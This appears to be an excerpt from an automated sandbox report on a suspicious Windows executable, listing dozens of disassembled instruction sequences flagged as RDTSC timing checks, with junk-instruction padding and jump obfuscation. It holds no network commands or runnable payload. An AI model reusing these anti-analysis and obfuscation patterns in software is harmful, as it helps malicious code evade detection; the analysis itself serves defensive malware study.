Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B845B second address: 6B8479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4BD4D2D51h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8807 second address: 6B8827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007FD4BCDD3068h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 ja 00007FD4BCDD3066h 0x00000017 push eax 0x00000018 pop eax 0x00000019 jp 00007FD4BCDD3066h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8827 second address: 6B8847 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4BD4D2D5Bh 0x00000008 jmp 00007FD4BD4D2D53h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8C20 second address: 6B8C2E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8C2E second address: 6B8C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8C34 second address: 6B8C93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD4BCDD3072h 0x0000000d jmp 00007FD4BCDD306Ch 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c pushad 0x0000001d jnl 00007FD4BCDD3066h 0x00000023 push edx 0x00000024 pop edx 0x00000025 jmp 00007FD4BCDD306Eh 0x0000002a popad 0x0000002b jmp 00007FD4BCDD306Dh 0x00000030 push eax 0x00000031 push edx 0x00000032 jg 00007FD4BCDD3066h 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8E09 second address: 6B8E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8E0F second address: 6B8E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B989B second address: 6B98C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007FD4BD4D2D48h 0x0000000c jmp 00007FD4BD4D2D51h 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FD4BD4D2D46h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B98C2 second address: 6B98D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD788 second address: 6BD798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD798 second address: 6BD7A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007FD4BCDD3066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD7A8 second address: 6BD7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD4BD4D2D46h 0x0000000a jbe 00007FD4BD4D2D46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD2F8 second address: 6BD301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD463 second address: 6BD467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD467 second address: 6BD485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FD4BCDD306Ah 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jo 00007FD4BCDD3066h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD485 second address: 6BD48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD48A second address: 6BD497 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4BCDD3068h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFE6A second address: 6BFE82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4BD4D2D53h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFE82 second address: 6BFE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC1A8 second address: 6CC1B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD4BD4D2D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD43F second address: 6DD445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD445 second address: 6DD449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD449 second address: 6DD44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DFB35 second address: 6DFB39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F57E4 second address: 6F5814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jp 00007FD4BCDD306Eh 0x0000000d pop edx 0x0000000e pushad 0x0000000f jno 00007FD4BCDD3076h 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C1A second address: 6F4C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD4BD4D2D46h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C27 second address: 6F4C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FD4BCDD306Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F51A8 second address: 6F51AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6F9A second address: 6F6FC0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jg 00007FD4BCDD3066h 0x00000013 pop edx 0x00000014 jno 00007FD4BCDD3072h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8551 second address: 6F8555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8555 second address: 6F859E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD4BCDD3079h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FD4BCDD3077h 0x00000018 jmp 00007FD4BCDD306Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FADDA second address: 6FADE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FADE0 second address: 6FADE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAE61 second address: 6FAE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BD4D2D51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB0A1 second address: 6FB0A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB161 second address: 6FB17F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FD4BD4D2D46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB17F second address: 6FB1EB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FD4BCDD3074h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FD4BCDD3068h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c or dx, A300h 0x00000031 push 00000004h 0x00000033 call 00007FD4BCDD306Eh 0x00000038 jnl 00007FD4BCDD306Ch 0x0000003e mov edx, dword ptr [ebp+122D2A77h] 0x00000044 pop edx 0x00000045 call 00007FD4BCDD3069h 0x0000004a pushad 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB423 second address: 6FB429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB429 second address: 6FB436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FD4BCDD306Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB436 second address: 6FB442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB442 second address: 6FB446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB446 second address: 6FB44C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB44C second address: 6FB452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCE54 second address: 6FCE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jno 00007FD4BD4D2D46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCE62 second address: 6FCE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FCE68 second address: 6FCE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD4BD4D2D46h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53002C1 second address: 53002D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53002D0 second address: 530032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edi, 10E02448h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007FD4BD4D2D57h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD4BD4D2D54h 0x0000001e or eax, 7911C9D8h 0x00000024 jmp 00007FD4BD4D2D4Bh 0x00000029 popfd 0x0000002a movzx eax, dx 0x0000002d popad 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530032C second address: 5300332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530039D second address: 5300412 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 2B56FE4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov ecx, 5696EBC3h 0x00000011 jmp 00007FD4BD4D2D58h 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007FD4BD4D2D4Bh 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov cx, 481Bh 0x00000023 push eax 0x00000024 mov bx, 8C82h 0x00000028 pop ebx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007FD4BD4D2D56h 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FD4BD4D2D57h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530043D second address: 5300443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300443 second address: 5300449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300449 second address: 530044D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530044D second address: 530046E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4BD4D2D4Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530046E second address: 5300474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300474 second address: 53004EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4BD4D2D4Ch 0x00000008 pop eax 0x00000009 mov bx, 4F26h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 mov eax, 02EA40B9h 0x00000017 call 00007FD4BD4D2D56h 0x0000001c jmp 00007FD4BD4D2D52h 0x00000021 pop esi 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov dx, ax 0x0000002a pushfd 0x0000002b jmp 00007FD4BD4D2D56h 0x00000030 adc ah, 00000058h 0x00000033 jmp 00007FD4BD4D2D4Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300539 second address: 5300554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BCDD3077h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300554 second address: 5300558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300558 second address: 5300599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 0E017B6Ch 0x0000000d pushad 0x0000000e mov edx, esi 0x00000010 pushfd 0x00000011 jmp 00007FD4BCDD306Ch 0x00000016 add cx, EFD8h 0x0000001b jmp 00007FD4BCDD306Bh 0x00000020 popfd 0x00000021 popad 0x00000022 add dword ptr [esp], 6920A0BCh 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c movsx edx, ax 0x0000002f mov si, F623h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300599 second address: 53005EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4BD4D2D4Fh 0x00000009 adc eax, 3E0B2F4Eh 0x0000000f jmp 00007FD4BD4D2D59h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a call 00007FD52F386767h 0x0000001f push 771B27D0h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov eax, dword ptr [esp+10h] 0x0000002f mov dword ptr [esp+10h], ebp 0x00000033 lea ebp, dword ptr [esp+10h] 0x00000037 sub esp, eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b push edi 0x0000003c mov eax, dword ptr [77240140h] 0x00000041 xor dword ptr [ebp-04h], eax 0x00000044 xor eax, ebp 0x00000046 push eax 0x00000047 mov dword ptr [ebp-18h], esp 0x0000004a push dword ptr [ebp-08h] 0x0000004d mov eax, dword ptr [ebp-04h] 0x00000050 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000057 mov dword ptr [ebp-08h], eax 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d mov dword ptr fs:[00000000h], eax 0x00000063 ret 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FD4BD4D2D53h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53005EB second address: 5300635 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d jmp 00007FD4BCDD306Eh 0x00000012 mov edx, dword ptr [ebp+0Ch] 0x00000015 pushad 0x00000016 mov cx, 00EDh 0x0000001a jmp 00007FD4BCDD306Ah 0x0000001f popad 0x00000020 mov esi, edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push ebx 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300635 second address: 53006B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b pushad 0x0000000c mov si, 703Dh 0x00000010 pushfd 0x00000011 jmp 00007FD4BD4D2D4Ah 0x00000016 xor ax, FE18h 0x0000001b jmp 00007FD4BD4D2D4Bh 0x00000020 popfd 0x00000021 popad 0x00000022 inc edx 0x00000023 pushad 0x00000024 jmp 00007FD4BD4D2D54h 0x00000029 popad 0x0000002a test al, al 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov si, F3AFh 0x00000033 pushfd 0x00000034 jmp 00007FD4BD4D2D54h 0x00000039 or cl, FFFFFFD8h 0x0000003c jmp 00007FD4BD4D2D4Bh 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006B4 second address: 53006B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006B9 second address: 53006BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006BF second address: 53006B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007FD4BCDD2FE5h 0x0000000d mov al, byte ptr [edx] 0x0000000f pushad 0x00000010 mov si, 703Dh 0x00000014 pushfd 0x00000015 jmp 00007FD4BCDD306Ah 0x0000001a xor ax, FE18h 0x0000001f jmp 00007FD4BCDD306Bh 0x00000024 popfd 0x00000025 popad 0x00000026 inc edx 0x00000027 pushad 0x00000028 jmp 00007FD4BCDD3074h 0x0000002d popad 0x0000002e test al, al 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov si, F3AFh 0x00000037 pushfd 0x00000038 jmp 00007FD4BCDD3074h 0x0000003d or cl, FFFFFFD8h 0x00000040 jmp 00007FD4BCDD306Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006E5 second address: 53006E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006E9 second address: 53006EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006EF second address: 53006F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53007E5 second address: 5300820 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4BCDD306Bh 0x00000008 sbb ax, 77EEh 0x0000000d jmp 00007FD4BCDD3079h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ecx, edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ax, bx 0x0000001e mov dl, A8h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300820 second address: 5300870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD4BD4D2D4Ch 0x00000013 and si, 99C8h 0x00000018 jmp 00007FD4BD4D2D4Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 call 00007FD4BD4D2D56h 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300870 second address: 53008CD instructions: 0x00000000 rdtsc 0x00000002 call 00007FD4BCDD306Bh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b rep movsb 0x0000000d pushad 0x0000000e call 00007FD4BCDD3075h 0x00000013 push esi 0x00000014 pop edi 0x00000015 pop ecx 0x00000016 mov bx, 66A0h 0x0000001a popad 0x0000001b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000022 jmp 00007FD4BCDD306Fh 0x00000027 mov eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD4BCDD3070h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53008CD second address: 53008DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53008DC second address: 530092C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov cl, dh 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr fs:[00000000h], ecx 0x00000019 pushad 0x0000001a mov ebx, ecx 0x0000001c mov eax, 2648E1B5h 0x00000021 popad 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD4BCDD3077h 0x0000002a rdtsc
